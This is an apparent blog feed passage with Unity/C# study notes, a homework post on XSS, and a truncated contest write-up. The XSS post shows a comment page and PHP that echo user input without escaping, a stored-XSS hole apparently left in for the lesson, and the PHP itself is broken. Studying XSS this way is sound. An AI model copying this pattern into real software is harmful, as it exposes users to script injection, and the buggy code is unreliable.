&#125;</span><br></pre></td></tr></table></figure><p>如果属性被设置成了public，那么在Editor中将变得可见并且可编辑(如果在最前面跟了[HideInInspector]装饰的话就不会出现)</p><p>详细解说见后。</p><h2 id="ui">UI</h2><p>UI是一种处理画面交互内容的Component。与Physics一样，地下也有很多的子类型。每次创建UI对象，就会创建一个Canvas对象在Hierarchy，并且我们的子类型也是在其下，只有Canvas下的UI对象发生更变才能够被绘制出来。UI的坐标与普通的Transform不太一样，是一个类似Pivot(锚点)的选取方式，并且坐标Pos是相对于当前的Canvas而言的。</p><ul><li>Text: 是一个文本UI，也是一个Component，可以通过修改其中的Text来修改显示的内容，可以用脚本动态的修改text。当Text的长度会变化的时候有可能会超出文本框给定的大小，此时我们需要设置<strong>Overflow</strong>属性来允许移除。<br>UI的子元素在Canvas的Hierarchy中摆放的顺序也象征了其渲染顺序<br>在创建了UI的同时，也会创建一个EventSystem对象(用于处理输入，输出和各类事件)。</li></ul><h1 id="audiosource">AudioSource</h1><p>用于管理音频播放的Component。通常来说，也会使用一个<strong>单例模式</strong>(单利模式意思见后)来操作，因为所有的音频(视为AudioClip)都要将其放置于对应的AudioSource上才能播放。</p><p>相关属性:</p><ul><li>clip:当前播放的clip。</li><li>pitch:当前播放音乐音调的高低。</li></ul><h2 id="script详解">Script详解</h2><p>由于每个MonoBehavior中的对象多有很多的方法，这里记录一下各个函数的作用:</p><ul><li>void Awake():当这个脚本被实例化之后(无需enable)就会调用的方法，调用顺序在Start之前。并且只会在整个对象创建的生命周期中被调用一次。这个函数调用的时候，所有的GameObject已经被初始化完成了</li><li>void Enable():当函数enble后会被调用</li><li>void Start():开始函数，在Scprit对象可以使用后(enable)的第一帧被调用。同样也是生命周期中只会被调用一次</li><li>void Update():在每一帧都会被调用的函数，经常用于画面的更新</li><li>void FixedUpdate():特殊用法，此更新位于每一帧固定的frame中。因为Update是根据<strong>frame的渲染速度</strong>决定更新的，但是例如力的计算不能根据frame的渲染速度而变化的，送一Unity中提供了一个FixedStep，更新时间是一定的，从而让每次更新能够定时计算。</li><li>void LateUpdate():特殊用法，会在所有的Update都调用完成后才调用。比如说<strong>Camera的跟随</strong>，肯定要在所有的对象都渲染完成后才进行跟随，从而才能看到完整的画面。</li><li>void OnDisable():当前对象为disable或者inactive后会被调用。一般用于在对象退出后清理内存。</li><li>OnTriggerEnter2D(Collider obj):当一个Trigger对象进入了当前的Conllider的范围后会触发，此时的obj具有基本的信息。</li></ul><p>Scrpit中可以将当前Attach的对象以<strong>全局变量</strong>的方式获取。</p><h2 id="c-的一些基本概念">C#的一些基本概念</h2><ul><li>引入规则:C#的包通过using 引入外部的包。当我们想要以自己命名的方式引入包的时候，可以如下写(using Random = UnityEngine.Random)</li><li>as 关键字，当时用此关键字的时候，相当于显示的进行<strong>类型转换</strong></li><li>where 关键字: 泛型类型约束条件，也就是说，如果我们当前的泛型类型(Template)有所指定的话，只有符合条件额度会被传入:</li><li>params关键字:使用此关键字后，C#的函数可以传入参数数量的参数,如:</li></ul><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">func</span>(<span class="params"><span class="keyword">params</span> <span class="built_in">int</span>[]p</span>)</span>;</span><br><span class="line">...</span><br><span class="line">  func(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>);<span class="comment">//此时可以传入多个参数，并且会被当成数组处理。</span></span><br></pre></td></tr></table></figure><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title">MyGenericClass</span>&lt;<span class="title">T</span>&gt; <span class="keyword">where</span> <span class="title">T</span>:<span class="title">IComparable</span> &#123; &#125;  </span><br></pre></td></tr></table></figure><p>此时的只有IComparable类能够传入</p><h2 id="prefebs">Prefebs</h2><p>这个是一个<strong>模型</strong>，当我们在某些场景中频繁的需要加入一些重复的物体，或者同一个对象想在不同的scene中创建的时候，我们就可以使用Prefebs。当我们创建了一个对象后，直接将其重Hierarchy栏中拖下来就能够形成一个Prefebs。</p><p>每个Prefebs在使用的时候，可以直接通过在函数中实例化其将其放入当前的Scene。<br>可以在Prefebs上实现Animator override controller，这样会大大减小开发的时间</p><h2 id="生命周期的研究">生命周期的研究</h2><h2 id="初始化">初始化</h2><p>一个对象以Prefebs的状态存储，然后再脚本中调用的时候，其实此时对象并没有被初始化，只有当我们主动调用了instantiate函数的时候，才会将对象实例化：</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">GameOjbect <span class="title">instantiate</span>(<span class="params">obj, transform, rotation</span>)</span></span><br></pre></td></tr></table></figure><p>此时会从文件中读取这个对象，并且将其实例化。当对象实例化后，就会存放在内存中。</p><h2 id="销毁对象">销毁对象</h2><p>如果是普通的对象，一般建议使用Script对其进行操作，让其在合适的时候调用Destroy。而如果是Scene的话，可以通过调用SceneMangement.UnloadScene将其销毁。当一个Scene对象被销毁的时候，其中的对象也将被销毁</p><h2 id="注册委托机制-scenemanage">注册委托机制 SceneManage</h2><p>SceneManage是运行时管理Scene的一个静态类，而我们的游戏就是绘制在一个Scene里面的。所以当我们需要管理关卡的时候，我们就会用到这个类。</p><ul><li>void LoadScene(index):载入一个Scene，如果是默认的Scene，则为0(就是我们没有特定创建Scene的场合)</li><li>sceneLoaded对象:重载了符号，当我们希望其在Scene被载入的时候调用函数的话，我们可以直接使用<strong>加号</strong>将其注册</li></ul>  <figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">OnEnable</span>()</span>&#123;</span><br><span class="line">  SceneManager.sceneLoaded += OnLevelFinishedLoading;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>(在脚本对象载入的时候注册，从而能够及时的读取scene)<br>当我们将该对象销毁的时候，我们要注意及时的取消注册</p>  <figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">OnDisable</span>()</span>&#123;</span><br><span class="line">  SceneManager.sceneLoaded -= OnLevelFinishedLoading;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="开发模式">开发模式</h2><h2 id="singleton模式">Singleton模式</h2><p>当我们有一些对象(比如管理全局的GameManager)需要实例化的时候，我们显然只希望存在一个独立的GameManager对象，而不是说存在多个会被操作的，而且参数不共享的对象，这样的对象就成为单例对象。为了创建这类对象，我们可以如下创建:</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> ThisClass instance = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">Awake</span>()</span>&#123;</span><br><span class="line"><span class="keyword">if</span>(instance == <span class="literal">null</span>)<span class="comment">// 如果不存在，创建一个新的实例对象</span></span><br><span class="line">instance = <span class="keyword">this</span>;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span>(instance !=<span class="keyword">this</span>)<span class="comment">// 如果当前的实例对象不对，那么将其销毁</span></span><br><span class="line">Destroy(gameObject)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 当新的Scene被读取的时候，原先的Scene以及其上所有对象被销毁，而这个对象我们需要保留，所以要阻止其被破坏</span></span><br><span class="line">DontDestroyOnnLoad(gameObject)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之后，当我们需要使用ThisClass的时候，我们可以通过ThisClass.instance的方式调用此对象。当然，该实例显然不能作为入口，入口函数中应当实例化当前对象:</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (ThisClass.instance == <span class="literal">null</span>)</span><br><span class="line">Instantiate(thisClass)</span><br></pre></td></tr></table></figure><h2 id="coroutine-协程">Coroutine，协程</h2><p>协程类似进程，但是其<strong>并不是位于操作系统的概念</strong>，而是编译器优化处理的结果。当我们使用Coroutine的时候，编译器回去维护一个状态机，从而让我们设置为协程的函数能够通过使用yield 关键字暂停。同时，yield return 将会返回一个Corotine对象，从而可以让我们用StartCoroutine将其启动。<br>使用方法:</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> IEnumerator <span class="title">Fun</span>()</span>&#123;<span class="comment">//函数返回值定义为IEnumerator，迭代对象</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="literal">true</span>)&#123;</span><br><span class="line"><span class="function"><span class="keyword">yield</span> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title">WaitForSeconds</span>(<span class="params"><span class="number">0.1f</span></span>)</span></span><br><span class="line"><span class="function">Console.<span class="title">WriteLine</span>(<span class="params"><span class="string">&quot;teset&quot;</span></span>)</span></span><br><span class="line"><span class="function">&#125;</span></span><br><span class="line"><span class="function">&#125;</span></span><br><span class="line"><span class="function">...</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> IEnumerator t</span>;</span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">test</span>()</span>&#123;</span><br><span class="line">t = Func()</span><br><span class="line">StartCoroutine(t);<span class="comment">//之后，每两秒执行一次</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="任务委托">任务委托</h2><p>Invoke(“FunctionName”, time);<br>这里相当于将FunctionName函数委托至time秒后执行。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前写好的文档乱码了(爆炸)…这里重新写一份好了QAQ&lt;/p&gt;
&lt;h2 id=&quot;more-unity-学习笔记&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Unity" scheme="https://showlinkroom.me/tags/Unity/"/>
    
    <category term="Game" scheme="https://showlinkroom.me/tags/Game/"/>
    
  </entry>
  
  <entry>
    <title>网络安全大作业2--XSS攻击</title>
    <link href="https://showlinkroom.me/2017/03/31/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A2-XSS%E6%94%BB%E5%87%BB/"/>
    <id>https://showlinkroom.me/2017/03/31/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A2-XSS%E6%94%BB%E5%87%BB/</id>
    <published>2017-03-31T01:03:21.000Z</published>
    <updated>2020-07-16T13:31:30.435Z</updated>
    
    <content type="html"><![CDATA[<p>继续问大佬同学要来的作业，这次的研究对象是xss</p><h2 id="more-xss攻击研究"><span id="more"></span><br>XSS攻击研究</h2><p>XSS，全称是<strong>Cross Site Scripting</strong>(跨站脚本攻击),为了不和CSS名字重叠，于是起了这样的名字。XSS攻击正如名字中提到的那样，在用户访问的web页面中插入我们的恶意脚本，对网站或者其他用户的访问进行干扰，或者泄露一些重要信息，从而达到恶意攻击的目的。</p><p>这次的作业提供的源代码如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;utf-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.comment-title</span>&#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">font-size</span>:<span class="number">14px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">6px</span> <span class="number">0px</span> <span class="number">2px</span> <span class="number">4px</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.comment-body</span>&#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">font-size</span>: <span class="number">14px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">color</span>:<span class="number">#ccc</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">font-style</span>: italic;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">border-bottom</span>: dashed <span class="number">1px</span> <span class="number">#ccc</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">4px</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">type</span>=<span class="string">&quot;text/javascript&quot;</span> <span class="attr">src</span>=<span class="string">&quot;/js/cookies.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">&quot;post&quot;</span> <span class="attr">action</span>=<span class="string">&quot;list.php&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;margin:20px;&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;font-size:16px;font-weight:bold;&quot;</span>&gt;</span>发表评论<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;padding:6px;&quot;</span>&gt;</span></span><br><span class="line">                昵称:</span><br><span class="line">                <span class="tag">&lt;<span class="name">br</span>/&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">input</span> <span class="attr">name</span>=<span class="string">&quot;name&quot;</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">style</span>=<span class="string">&quot;width:300px;&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;padding:6px;&quot;</span>&gt;</span></span><br><span class="line">                评论:</span><br><span class="line">                <span class="tag">&lt;<span class="name">br</span>/&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">textarea</span> <span class="attr">name</span>=<span class="string">&quot;comment&quot;</span> <span class="attr">style</span>=<span class="string">&quot;height:100px; width:300px;&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">textarea</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;padding-left:230px;&quot;</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;POST&quot;</span> <span class="attr">style</span>=<span class="string">&quot;padding:4px 0px; width:80px;&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;border-bottom:solid 1px #fff;margin-top:10px;&quot;</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;font-size:16px;font-weight:bold;&quot;</span>&gt;</span>评论集<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">            <span class="meta">&lt;?php </span></span><br><span class="line"><span class="meta">                require(&#x27;/components/comments.php&#x27;); </span></span><br><span class="line"><span class="meta">                if(!empty($_POST[&#x27;name&#x27;]))&#123;</span></span><br><span class="line"><span class="meta">                    &lt;!--添加新的评论--&gt;</span></span><br><span class="line"><span class="meta">                    addElement($_POST[&#x27;name&#x27;],$_POST[&#x27;comment&#x27;]);</span></span><br><span class="line"><span class="meta">                &#125;</span></span><br><span class="line"><span class="meta">                &lt;!--展开评论列表--&gt;</span></span><br><span class="line"><span class="meta">                renderComments();</span></span><br><span class="line"><span class="meta">            ?&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>仔细看会发现，这里提到的</p><ul><li>/js/cookies.js</li><li>/components/comments.php<br>这两个文件我手上都是没有的…看起来除了搭建环境，还得自己写一点简单的代码…</li></ul><h2 id="环境选择">环境选择</h2><p>环境选择了<strong>wamp</strong>,Windows下的Apache+Mysql/MariaDB+Perl/PHP/Python，一组常用来搭建动态网站或者服务器的开源软件,能够快速的搭建在本地的服务</p><h2 id="代码编写">代码编写</h2><p>其实说起来，比起写代码，xss好像更简单一点，但是既然要实现这个功能，那么还是得写一下这几个文件的。。由于本人web白痴，接下来写的都是些简单的学习过程，想要继续看实验过程的请跳过。。。</p><h3 id="cookies-js">Cookies.js</h3><p>上w3cshool中了解到，一般js中会在这个文件中写一些关于cookie存储和读取的函数,比如getCookie，checkCookie,setCookie之类的。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">set_cookie</span>(<span class="params">c_name, name, expire_days</span>) &#123;</span><br><span class="line"><span class="comment">// body...</span></span><br><span class="line"><span class="keyword">var</span> day = <span class="keyword">new</span> <span class="title class_">Date</span>()</span><br><span class="line">day.<span class="title function_">setDate</span>(day.<span class="title function_">getDate</span>() + expire_days)</span><br><span class="line"><span class="comment">// ad escape to duel with utf-8</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="property">cookie</span> = c_name + <span class="string">&quot;=&quot;</span>+<span class="built_in">escape</span>(name) +</span><br><span class="line">((expire_days == <span class="literal">null</span>)? <span class="string">&quot;&quot;</span>:<span class="string">&quot;;expire_days=&quot;</span>+day.<span class="title function_">toGMTString</span>())</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">get_cookie</span>(<span class="params">c_name</span>)&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable language_">document</span>.<span class="property">cookie</span>.<span class="property">length</span>&gt;<span class="number">0</span>)&#123;</span><br><span class="line"><span class="keyword">var</span> start = <span class="variable language_">document</span>.<span class="property">cookie</span>.<span class="title function_">indexOf</span>(c_name + <span class="string">&quot;=&quot;</span>)</span><br><span class="line"><span class="keyword">if</span>(start!=-<span class="number">1</span>)&#123;</span><br><span class="line">start += c_name.<span class="property">length</span> + <span class="number">1</span></span><br><span class="line"><span class="keyword">var</span> end = <span class="variable language_">document</span>.<span class="property">cookie</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;;&quot;</span>, start)</span><br><span class="line"><span class="keyword">if</span> (end == -<span class="number">1</span>) end = <span class="variable language_">document</span>.<span class="property">cookie</span>.<span class="property">length</span></span><br><span class="line"><span class="keyword">return</span> <span class="built_in">unescape</span>(<span class="variable language_">document</span>.<span class="property">cookie</span>.<span class="title function_">substring</span>(start, end))</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">check_cookie</span>(<span class="params">name</span>)&#123;</span><br><span class="line">username = <span class="title function_">get_cookie</span>(<span class="string">&quot;name&quot;</span>)</span><br><span class="line"><span class="keyword">if</span>(username == <span class="string">&quot;&quot;</span>)&#123;</span><br><span class="line"><span class="title function_">set_cookie</span>(<span class="string">&quot;name&quot;</span>, name, <span class="number">1</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>菜鸡参考着w3cschool写的。。。</p><h3 id="comments-php">Comments.php</h3><p>这是个php(菜鸡也不会php呀QvQ)从代码上看，我们需要实现两个函数:</p><ul><li>addElement()</li><li>renderComments()<br>那么我一边学习php一边写一下吧。。。。<br>addElement的作用应该是将当前的数据加入到一个全局的array变量里面。<br>renderComments的作用则是将当前的评论输出。</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$entries</span> = <span class="keyword">array</span>();</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">addElement</span>(<span class="params"><span class="variable">$name</span>=<span class="string">&#x27;&#x27;</span>, <span class="variable">$comment</span> =<span class="string">&#x27;&#x27;</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$entries</span>[<span class="variable">$name</span>] = <span class="variable">$comment</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>后来意识到，渲染这个动作应该是每次提交一次都要进行的，而却更重要的是发现，action会将我们的请求提交到一个叫做list.php的文件里面！这就意味着，我们必须要<strong>在list.php中存储数据，然后comments.php只不过是一个展示数据的函数(?)</strong><br>不管怎么说，逻辑好像都不太对…这里只好先硬着头皮吧renderComments写完:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">renderComments</span>(<span class="params"><span class="variable">$value</span>=<span class="string">&#x27;&#x27;</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;table border=&quot;</span><span class="number">1</span><span class="string">&quot;&gt;&quot;</span></span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$entries</span> <span class="keyword">as</span> <span class="variable">$name</span> =&gt;<span class="variable">$comment</span>) &#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;tr&gt;&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;td&gt;&quot;</span>.<span class="variable">$entity</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;tr&gt;&quot;</span>.<span class="variable">$comment</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;/tr&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;/table&gt;&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>好艰难的写完了这一段。。。。后来还发现，php的global对象必须要在函数内生命了global才能够当成全局变量使用</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;继续问大佬同学要来的作业，这次的研究对象是xss&lt;/p&gt;
&lt;h2 id=&quot;more-xss攻击研究&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="XSS" scheme="https://showlinkroom.me/tags/XSS/"/>
    
  </entry>
  
  <entry>
    <title>MegCup 复赛(划水)</title>
    <link href="https://showlinkroom.me/2017/03/26/MegCup-%E5%A4%8D%E8%B5%9B-%E5%88%92%E6%B0%B4/"/>
    <id>https://showlinkroom.me/2017/03/26/MegCup-%E5%A4%8D%E8%B5%9B-%E5%88%92%E6%B0%B4/</id>
    <published>2017-03-26T14:25:29.000Z</published>
    <updated>2020-07-16T13:31:30.393Z</updated>
    
    <content type="html"><![CDATA[<p>今天参加了MegCup，然而一整天就做出了一道题来。。。我还是太菜了QvQ</p><h2 id="more-linked-list"><span id="more"></span><br>Linked List</h2><p>背景</p><p>小Q有一些排好序的链表放在内存里。为了更紧凑地利用空间，小Q运行了一下内存整理程序，把链表们整齐的放在了一个内存地址连续的数组里。 每个链表元素包含所含数的大小，以及下一个链表元素在数组里的zero-based的下标。&quot;-1&quot;表示没有下一个元素。每个链表里有10000个元素，也就是说，下标的范围是0~9999。</p><p>对于每一个整理好的链表，小Q想知道是否存在某个给定的数，但除了按照链表顺序或数组顺序遍历所有元素外他并不知道怎么做。 然而小Q的电脑年代久远，内存访问很慢，所以他希望用尽量少的访存次数能知道是否存在某个数。 但他很忙，所以他出了这道题，希望你们能用最少访问次数回答一个排好序的放在数组里的链表是否存在某个数的询问。</p><p>思路</p><p>首先这个数字可以理解成:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;index&quot;</span><span class="punctuation">:</span> <span class="number">4</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;next&quot;</span><span class="punctuation">:</span> <span class="number">2550</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;valid&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;value&quot;</span><span class="punctuation">:</span> <span class="number">343779541</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;status&quot;</span><span class="punctuation">:</span> <span class="string">&quot;succeed&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>也就是数组【下标】所指的内容中【包含了链表元素】，其中链表是排序了的，但是数组并没有排序。<br><img src="/2017/03/26/MegCup-%E5%A4%8D%E8%B5%9B-%E5%88%92%E6%B0%B4/megcup-01.jpg" alt=""><br>要<strong>注意看题目</strong>,重点在于<strong>用尽量少的访存次数</strong>,找到<strong>数字</strong><br>然后下面呢的提示中有提到:</p><ul><li>本题为Web 